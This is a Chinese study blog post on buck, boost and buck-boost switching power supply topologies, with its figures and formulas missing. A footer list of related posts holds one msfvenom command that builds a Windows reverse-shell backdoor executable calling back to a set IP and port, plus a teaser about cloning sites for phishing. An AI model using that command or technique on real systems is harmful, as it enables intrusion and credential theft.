BUCK BOOST学习总结
首先对于我这种电源方面的小白来说
关于电源用的最多的就是线性稳压了
开关类的如 TI 的TPS系列 我是只知道应用电路而不知道具体原理的
但是长此以往也不是个办法
于是今天就带打家详细的来讲一下 BUCK BOOST电路的原理
先挂几个连接:
比较粗略的BUCK/BOOST电路的分析
http://tech.hqew.com/fangan_522451
http://blog.csdn.net/u011388550/article/details/23841023
这个还是不错的
http://www.elecfans.com/article/83/116/2016/20160307404422_a.html
开关电源的三大基础拓扑:
2、 开关电源基础拓扑
第一大:BUCK减压型
先上电路图
图中器件T为 N-mos管
当PWM驱动高电平使得NMOS管T导通的时候,忽略MOS管的导通压降,等效如图2,电感电流呈线性上升,MOS导通时电感正向伏秒为:
当PWM驱动低电平的时候,MOS管截止,电感电流不能突变,经过续流二极管形成回路(忽略二极管电压),给输出负载供电,此时电感电流下降,如下图3所示,MOS截止时电感反向伏秒为:
什么是电感的伏秒平衡呐?
处于稳定状态的电感,开关导通时间(电流上升段)的伏秒数须与开关关断(电流下降段)时的伏秒数在数值上相等,尽管两者符号相反。这也表示,绘出电感电压对时间的曲线,导通时段曲线的面积必须等于关断时段曲线的面积。
2.2 Boost升压型
Boost升压型电路拓扑,有时又称为step-up电路,其典型的电路结构如下图4所示:
同样地,根据Buck电路的分析方式,Boost电路的工作原理为:
2.3 Buck-Boost极性反转升降压型
Buck-Boost电路拓扑,有时又称为Inverting,其典型的电路结构如下图5所示:
同样地,根据Buck电路的分析方式,Buck-Boost电路的工作原理为:
3、 Buck与Buck-Boost组合
金升阳K78系列的产品采用了Buck降压型的电路结构进行设计,是LM78XX系列三端线性稳压器的理想替代品,效率最高可达96%,不需要额外增加散热片,同时还兼有短路保护和过热保护,值得说明的是它能够完美支持负输出。
上面提到金升阳K78系列产品可以支持负输出,这是怎么做到的呢?
从上面Buck电路以及Buck- Boost电路结构原理来看,主要的区别是两者二极管与功率电感的位置互换。因此,若将Buck电路的输出Vo引脚接成输入的GND,而之前的输入GND
就变成了负电压输出了,即变成了Buck-Boost的电路结构。对应到金升阳K78xx-500R2系列的产品就变成了如下图6所示的负输出。
因此,用2只K7812-500R2的产品,实现BUCK与BUCK-BOOST电路相结合,可以得到±12V输出,低的纹波和噪声可以给运放进行供电。
需要值得注意的是,由于BUCK-BOOST电路在启动电流会比BUCK电路大一些,所以会在BUCK-BOOST电压输入端加一些缓冲类的器件。
4、 Buck与Boost组合
Buck与Boost两者相结合,会得到什么样的电路和应用呢?根据不同的控制,可以让电源从高压降到低压,也可以将低压升到高压,可以称之为双向DC-DC变换器之一,典型的应用电路如下图:
DC-DC双向变换器目前主要应用在各大充放电系统中,随着储能器件的发展得到了广泛地应用,主要的行业在汽车电子,电梯节能系统等应用行业。
当T2管截止时,T1管与D1、L等器件构成了Buck型降压电路,可以实现对后级的负载进行供电;反之,当T1管截止,T2管与D2二极管、L等器件构成了Boost升压电路,对前端电源进行能量补充。目前对T1和T2管的控制以模拟方式控制相对还是比较困难,均是以数字控制方式为主。
下面是将超级电容运用到电梯能量回收系统中,将电机的能量在超级电容和直流母线之间进行相互传递,降低了能源的损耗。
由于超级电容充放电电流比较大,普通的功率MOS管已经不适合使用,通常用IGBT来替代,而IGBT驱动在导通和关断的响应速度上,驱动电源选择+15V 和-9V将会是比较理想的,一方面+15V能够完全提供正向驱动的电压,另一方面-9V又能够加速IGBT的关断。而QP12W05S-37是个不错的选择。
5、 总结
基本电源拓扑结构中Buck降压型应用最多,但是各个基础拓扑组合使用,可以解决很多类似于正负电源供电以及双向电源应用方面的问题。总之电源基础拓扑结构虽老,但是实际应用却可以千变万化。
对于DCDC,大家都不陌生,因为就是开关电源,当然还有AC/DC,通常的AC/DC,都是110V或者220V交流变换为直流电源,我们这里先来讨论DCDC电源设计。
DCDC电源类型分为2种,一种是隔离性,一种是非隔离型。隔离型DCDC 的意思是输出的GND和输入的GND是无关系的,也成为悬浮电源。常见的DC-DC芯片大都是非隔离型的。隔离性的电源,是双向,也叫做升压降压类型,非隔离型的,分为boost 和buck两种。
首先我们来说下非隔离的DC-DC原理,这类电源又分为boost和buck,即为升压和降压模式。首先分析下DCDC降压电路:
Buck 模式DCDC 结构主要由输入电容、功率MOS管、PWM模块、肖特基二极管、功率电感、输出电容和输出调节电阻构成。DCDC开关电源这种结构模式决定了它输出噪声比较大。
接下来我们分析下工作原理,当功率MOS(以后简称开关),闭合时,电源通过电感给负载供电,并将电能储存在电感L和输出电容中,由于电感L的自感,在开关闭合时,电流增大的比较缓慢,即输出不能立刻达到电源的电压值。一定时间后,开关断开,由于电感L的自感作用(可以形象的认为电感中的电流具有惯性作用),将保持电路中的电流不变,即从左到右继续流。电流流过负载,从地返回,流到肖特基二极管的正极,经过二极管返回电感L的左端,从而形成一个回路。通过控制PWM的占空比就可以控制输出的电压。
在开关闭合期间,电感储存能量,在断开期间释放能量,所以电感L叫做储能电感,二极管在开关断开期间负责给L提供电流通路,所以二极管叫做续流二极管。当开关闭合时,电压很小,所以发热功率U*I就会很小,这就是开关电源高效率的原因。
通过这里原理,我们就知道了为什么在DCDC设计的时候,输出一定要有大电容,二极管和电感为什么一定要靠近IC。而且DCDC的后级滤波一定要好,因为内部有开关频接下来讲解下boost型DCDC电路:
其基本模型如上图,经过我们对buck 电路的原理分析,对于BOOST 应该很清楚了,同样调整PWM的占空比,可以调节输出,当PWM占空比为50%的时候,输出电压为输入电压的2倍,基本原理如下:
开关导通时, 输入电压流向电感, 电感电流线性增加,电感储能增加,电源向电感转移电能。
开关断开时, 电感电压等于输入电压减去输出电容的电压, 电感电流减少,电感储能减少, 电感储能向负载转移电能。
通过这样不断的开关实现了DCDC升压,但是这种结构得到的电流比较小,通常在几百毫安,而且效率不高。
BUCK BOOST学习总结的更多相关文章
- Boost学习-Linuxidc上的很好的学习资料
来自 http://www.linuxidc.com/Linux/2011-07/39215.htm,拷贝第一页如下 Boost学习系列 简介及基本用法 [日期:2011-07-25] 来源:Linu ...
- boost 学习笔记 2: timer
boost 学习笔记 2: timer copy from:http://einverne.github.io/post/2015/12/boost-learning-note-2.html 1:ti ...
- boost 学习笔记 0: 安装环境
boost 学习笔记 0: 安装环境 最完整的教程 http://einverne.github.io/post/2015/12/boost-learning-note-0.html Linux 自动 ...
- BOOST学习笔记
BOOST学习笔记 1 tool #pragma once #include <vector> #include "boost/noncopyable.hpp" #in ...
- Boost学习总结(一)VS2010环境下编译STLport和Boost
Boost学习总结(一)VS2010环境下编译STLport和Boost Boost简介 Boost库是一个功能强大.构造精巧.跨平台.开源并且完全免费的C++程序库.1998年,Beman G.Da ...
- boost学习 内嵌类型检测 与 any 的代码练习
本文是学习 boost源码的一些练习 参考文章来自 刘未鹏 C++的罗浮宫(http://blog.csdn.net/pongba) 目录 http://blog.csdn.net/pongba/ar ...
- boost 学习(1)
智能指针的学习 中文教程网站 http://zh.highscore.de/cpp/boost/ 不过代码可能 由于BOOST 版本不同需要稍作修改 scoped_ptr 离开作用域则自动调用类析构函 ...
- Boost学习之语法解析器--Spirit
Boost.Spirit能使我们轻松地编写出一个简单脚本的语法解析器,它巧妙利用了元编程并重载了大量的C++操作符使得我们能够在C++里直接使用类似EBNF的语法构造出一个完整的语法解析器(同时也把C ...
- Ada boost学习
http://blog.csdn.net/dark_scope/article/details/14103983 据说在Deep Learning出来之前,SVM和Adaboost是效果最好的 两个算 ...
随机推荐
- 迷宫问题(BFS)
给定一个n* m大小的迷宫,其中* 代表不可通过的墙壁,而"."代表平地,S表示起点,T代表终点.移动过程中,如果当前位置是(x, y)(下标从0开始),且每次只能前往上下左右.( ...
- idea无法引入自己定义的包和类
方法一:通过清理缓存解决: File -> Invalidate Caches / Restart...,在新窗口点击Invalidte and Restart,未奏效 方法二:导入依赖 如图, ...
- msf记录
生成backdoor msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.133 LPORT=6666 -f exe >/ ...
- Pytorch系列:(一)常用基础操作
各种张量初始化 创建特殊类型的tensor a = torch.FloatTensor(2,3) a = torch.DoubleTensor(2,3) ... 设置pytorch中tensor的默认 ...
- 判断请求是否属于Ajax请求
我们有时候需要根据请求类型来判断返回视图名称还是JSON数据,这里记录一个判断Ajax的工具类方便日后好找 通过传入Request对象获取头信息,根据头信息判断是否属于Ajax请求 public cl ...
- Java IO流知识总结
Java IO的原理 I/O是Input和Output的缩写,用来处理设备之间的数据传输.如读/写文件,网络通讯等. Java程序中,对于数据的输入/输出操作以"流(stream)" ...
- Docker怎么实现容器之间的通信?
//TODO 参考资料: https://developer.aliyun.com/article/55912 https://blog.csdn.net/u011541946/article/det ...
- POJ3233不错的矩阵(矩阵套矩阵)
题意: 给一个n*n的矩阵A,然后求S=A + A^2 + A^3 + ..+ A^k. 思路: 矩阵快速幂,这个题目挺新颖的,以往的矩阵快速幂都是退出公式,然后构造矩阵,这 ...
- Social engineering tookit 钓鱼网站
目录 Set 钓鱼攻击 网站克隆 Set Set(Social engineering tookit)是一款社会工程学工具,该工具用的最多的就是用来制作钓鱼网站. Kali中自带了该工具. 钓鱼攻击 ...
- POJ3422简单费用流
题意: 给一个n*n的矩阵,从左上角走到右下角,的最大收益,可以走k次,每个格子的价值只能取一次,但是可以走多次. 思路: 比较简单的一个费用流题目,直接拆点,拆开的点之间连接两 ...